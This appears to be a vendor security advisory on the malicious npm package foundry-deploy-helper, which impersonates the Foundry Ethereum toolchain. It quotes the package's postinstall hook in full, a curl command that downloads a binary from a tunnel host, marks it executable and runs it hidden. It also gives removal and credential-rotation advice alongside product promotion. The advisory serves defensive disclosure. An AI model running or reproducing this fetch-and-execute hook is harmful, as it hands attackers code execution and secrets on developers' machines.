foundry-deploy-helpernpm
Malicious code in foundry-deploy-helper (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall hook that runs node -e with an inline child_process.execSync invoking curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &. On npm install, an unsigned, unpinned, opaque binary is downloaded from an anonymous Pinggy free-tunnel host (a mutable, throwaway tunnel endpoint unrelated to any legitimate publisher), staged to a hidden dotfile path /tmp/.node-cache, marked executable, and executed detached in the background with errors swallowed via try/catch. The package name foundry-deploy-helper, the fabricated repository URL github.com/foundry/foundry-deploy-helper, and the generic author Web3 Developer Tools <[email protected]> impersonate the Foundry (foundry-rs) Ethereum toolchain to lure web3 developers into installing it. The fetch destination is not publisher-owned, the URL is not version-pinned, no hash or signature check is performed, the staging path is hidden, and the package's advertised purpose has no plausible reason to fetch and execute an arbitrary binary at install time. Installing this package gives the operator of the Pinggy tunnel arbitrary code execution on the installer's machine.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for foundry-deploy-helper (version 1.8.96). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging foundry-deploy-helper across your stack and pipelines.
If you installed it — respond
foundry-deploy-helper is a typosquat — you almost certainly intended a legitimately-named package. Remove foundry-deploy-helper, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If foundry-deploy-helper was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks foundry-deploy-helper before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks foundry-deploy-helper-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.